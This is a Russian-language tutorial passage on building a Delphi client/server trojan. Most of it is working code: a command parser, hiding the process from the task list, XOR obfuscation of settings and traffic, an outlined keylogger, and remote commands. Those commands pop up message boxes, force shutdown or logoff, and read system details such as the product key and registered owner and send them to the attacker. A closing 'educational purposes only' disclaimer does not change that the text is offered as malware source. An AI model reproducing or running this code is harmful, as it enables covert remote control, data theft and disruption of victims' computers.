com.[]sig.[]par.[]par.[]par++ Сокращения: com. - команда sig. - сигнатура par. - параметр [ ] - разделитель (разделителем может быть любой символ, который точно не встретится в самой команде или в параметре). Естественно следует привести пример реализации такого протокола обмена: function _parser(str:string):tstringlist; var s : tstringlist; i : integer; st : integer; sp : boolean; begin st := 0; sp := true; s := tstringlist.create; s.add(”); for i := 1 to length(str) do begin if str[i] = ‘†’ then begin if not sp then begin inc(st); s.add(”); end; sp := true; end else begin sp := false; s.strings[st] := s.strings[st] + str[i]; end; end; if sp then s.delete(s.count-1); result:=s; end; Функция разделяет переданную строчку на слова. Разделителем здесь является символ «†». У большинства троянов обмен данными идет по нескольким портам одновременно. Это позволяет разделить как трафик, так и команды по спецификации. Скажем, через первый порт идет отсылка информации злоумышленнику, а через второй порт принимаются команды, направленные трою. Конечно, это делает работу удобнее и быстрее, но это облегчает процесс определения троянской программы. После реализации протокола обмена можно заняться той частью, которая будет делать троянскую программу «невидимой для посторонних глаз». Способов существует безусловно множество, мы же рассмотрим только один и самый леггий: type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword; stdcall; При создании формы пишем следующее: var hndl : thandle; registerserviceprocess : tregisterserviceprocess; begin hndl:=loadlibrary(’KERNEL32.DLL’); registerserviceprocess:=getprocaddress(hndl,’RegisterServiceProcess’); registerserviceprocess(getcurrentprocessid,1); freelibrary(hndl); Обязательно указываем в проекте следующий параметр: application.showmainform:=false; Все значения, такие как порт, пароли и т.д. должны храниться в зашифрованном виде. Сильно громоздкие и сложные алгоритмы по шифровке использовать не следует, т.к. это все равно не спасет от тех, кто действительно захочет получить эту информацию. Следующий алгоритм будет пожалуй наиболее подходящим: function crypt(str:string):string; var len : integer; a : integer; b : integer; c : integer; d : integer; r : string; begin d := 13; r := ”; len := length(str); for a := 1 to len do begin b := ord(str[a]); b := b - 32; c := b xor d; c := c + 32; r := r + chr(c); d := d + 1; end; result := r; end; Такой же алгоритм можно использовать и для шифровки трафика, тогда немного поменяем схему: сначала трафик передается функции crypt, а потом уже _parser. После окончания кодинга протокола обмена и шифровки значений идет тело самого троя. При написании могут использоваться самые разные схемы, мы же используем наиболее понятную (см. рис.). Как видите, при запуске, троян становится невидимым, потом он инсталлируется в систему и переходит в состояние ожидания, но отдельно висит offline keylogger, который периодчески сохраняет свой буфер в укромное место. Кроме keylogger ещё ping модуль висит, всегда готовый ответить на запрос. При получении некоего трафика он проходит через _parser модуль, который ещё определяет есть ли это то, что надо, или это просто неправильный запрос не от клиента. Если пароль введен правильно, то последующий трафик сразу идет на командный модуль. Некоторые модули на схеме связаны не только с основным, но и командным модулем потому, что, например, модуль remote ping включается только через команду, а keylogger высылает записанные им клавиши тоже только при поступлении соответствующей команды.
На самом деле это упрощенная схема, сюда можно ещё много чего добавить, но это уже ваше дело. А теперь я хотел бы немного отойти от теории, и чуть-чуть приблизиться к практике. Вот примеры некоторых команд: Это пример команды messagebox. Я не буду объяснять значение всех переменных т.к. это всего лишь пример и здесь итак все понятно. _com - команда _data - ответ функции _parser const _line = #13+#10; _icon : array [0..4] of integer=(0,mb_iconexclamation, mb_iconinformation,mb_iconstop,mb_iconquestion);
############################################################ if _com = 2 then begin if _data.count = 6 then if (strtoint(_data[5]) = 0) or (strtoint(_data[5]) = 1) or (strtoint(_data[5]) = 2) or (strtoint(_data[5]) = 3) or (strtoint(_data[5]) = 4) then begin if _data[2] = ‘1? then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_ok + _icon[strtoint(_data[5])]) 0 then begin socket.sendtext(_name+’ : true {2,1,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : ok {2,1,’+_data[5]+’}’+_line); end; end; if _data[2] = ‘2? then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_okcancel + _icon[strtoint(_data[5])]) = idok then begin socket.sendtext(_name+’ : true {2,2,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : ok {2,2,’+_data[5]+’}’+_line); end else begin socket.sendtext(_name+’ : true {2,2,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : cancel {2,2,’+_data[5]+’}’+_line); end; end; if _data[2] = ‘3? then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_yesno + _icon[strtoint(_data[5])]) = idyes then begin socket.sendtext(_name+’ : true {2,3,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : yes {2,3,’+_data[5]+’}’+_line); end else begin socket.sendtext(_name+’ : true {2,3,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : no {2,3,’+_data[5]+’}’+_line); end; end; if _data[2] = ‘4? then begin k := messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_abortretryignore + _icon[strtoint(_data[5])]); if k = idabort then begin socket.sendtext(_name+’ : true {2,4,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : abort {2,4,’+_data[5]+’}’+_line); end else if k = idretry then begin socket.sendtext(_name+’ : true {2,4,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : retry {2,4,’+_data[5]+’}’+_line); end else if k = idignore then begin socket.sendtext(_name+’ : true {2,4,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : ignore {2,4,’+_data[5]+’}’+_line); end; end; if _data[2] = ‘5? then begin k := messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_yesnocancel + _icon[strtoint(_data[5])]); if k = idyes then begin socket.sendtext(_name+’ : true {2,5,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : yes {2,5,’+_data[5]+’}’+_line); end else if k = idno then begin socket.sendtext(_name+’ : true {2,5,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : no {2,5,’+_data[5]+’}’+_line); end else if k = idcancel then begin socket.sendtext(_name+’ : true {2,5,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : cancel {2,5,’+_data[5]+’}’+_line); end; end; if _data[2] = ‘6? then begin if messagebox(0,pchar(_data[3]),pchar(_data[4]), mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then begin socket.sendtext(_name+’ : true {2,6,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : retry {2,6,’+_data[5]+’}’+_line); end else begin socket.sendtext(_name+’ : true {2,6,’+_data[5]+’}’+_line); socket.sendtext(_name+’ : cancel {2,6,’+_data[5]+’}’+_line); end; end; exit; end; end;
Пример команды exitwindows: if _com = 6 then begin if _data.count = 3 then begin if _data[2] = ‘1? then begin socket.sendtext(_name+’ : true {6,1}’+_line); exitwindows(ewx_force,1); end else if _data[2] = ‘2? then begin socket.sendtext(_name+’ : true {6,2}’+_line); exitwindows(ewx_logoff,1); end else if _data[2] = ‘3? then begin socket.sendtext(_name+’ : true {6,3}’+_line); exitwindows(ewx_poweroff,1); end else if _data[2] = ‘4? then begin socket.sendtext(_name+’ : true {6,4}’+_line); exitwindows(ewx_reboot,1); end; if _data[2] = ‘5? then begin socket.sendtext(_name+’ : true {6,5}’+_line); exitwindows(ewx_shutdown,1); end; exit; end; end;
Сбор некоторых сведений о системе: if _com = 7 then begin if _data.count = 2 then begin _inf := tregistry.create; _inf.rootkey:=hkey_local_machine; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’Version’) else st := ‘unknown’; socket.sendtext(_name+’ : system : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’hardware\description\system\centralprocessor?,true) = true then st := _inf.readstring(’vendoridentifier’) else st := ‘unknown’; socket.sendtext(_name+’ : processor : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’config001\display\settings’,true) = true then st := _inf.readstring(’resolution’) else st := ‘unknown’; socket.sendtext(_name+’ : resolution : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’config001\display\settings’,true) = true then st := _inf.readstring(’bitsperpixel’) else st := ‘unknown’; socket.sendtext(_name+’ : bits per pixel : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’systemroot’) else st := ‘unknown’; socket.sendtext(_name+’ : system root : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’productkey’) else st := ‘unknown’; socket.sendtext(_name+’ : product key : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’productname’) else st := ‘unknown’; socket.sendtext(_name+’ : product name : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’programfilespath’) else st := ‘unknown’; if st = ” then begin _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’programfilesdir’) else st := ‘unknown’; end; socket.sendtext(_name+’ : programfiles path : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’registeredorganization’) else st := ‘unknown’; socket.sendtext(_name+’ : registered organization : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’registeredowner’) else st := ‘unknown’; socket.sendtext(_name+’ : registered owner : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’sm_accessoriesname’) else st := ‘unknown’; socket.sendtext(_name+’ : accessories name : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’versionnumber’) else st := ‘unknown’; socket.sendtext(_name+’ : version number : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’wallpaperdir’) else st := ‘unknown’; socket.sendtext(_name+’ : wall paper dir : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’productid’) else st := ‘unknown’; socket.sendtext(_name+’ : product id : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’otherdevicepath’) else st := ‘unknown’; socket.sendtext(_name+’ : other device path : ‘+st+’ {7}’+_line); _inf.closekey; if _inf.openkey(’software\microsoft\windows\currentversion’,true) = true then st := _inf.readstring(’mediapath’) else st := ‘unknown’; socket.sendtext(_name+’ : media path : ‘+st+’ {7}’+_line); _inf.closekey; _inf.destroy; exit; end; end;
Проставление приоритета своему процессу: if _com = 14 then begin if _data.count = 2 then begin if pr = false then begin processid := getcurrentprocessid; processhandle := openprocess(process_set_information,false,processid); setpriorityclass(processhandle,realtime_priority_class); threadhandle := getcurrentthread; setthreadpriority(threadhandle,thread_priority_time_critical); socket.sendtext(_name+’ : true (on) {14}’+_line); pr := true; end else begin processid := getcurrentprocessid; processhandle := openprocess(process_set_information,false,processid); setpriorityclass(processhandle,normal_priority_class); threadhandle := getcurrentthread; setthreadpriority(threadhandle,thread_priority_normal); socket.sendtext(_name+’ : true (off) {14}’+_line); pr := false; end; exit; end; end; Вот мы и рассмотрели код простой троянской программы, написанной на делфи по технологии клиент/сервер. На это все. P.S.: все вышеизложенные сведения представлены только в образовательных целях, автор не несет никакой ответственности за использование материалов статьи в злонамеренных целях.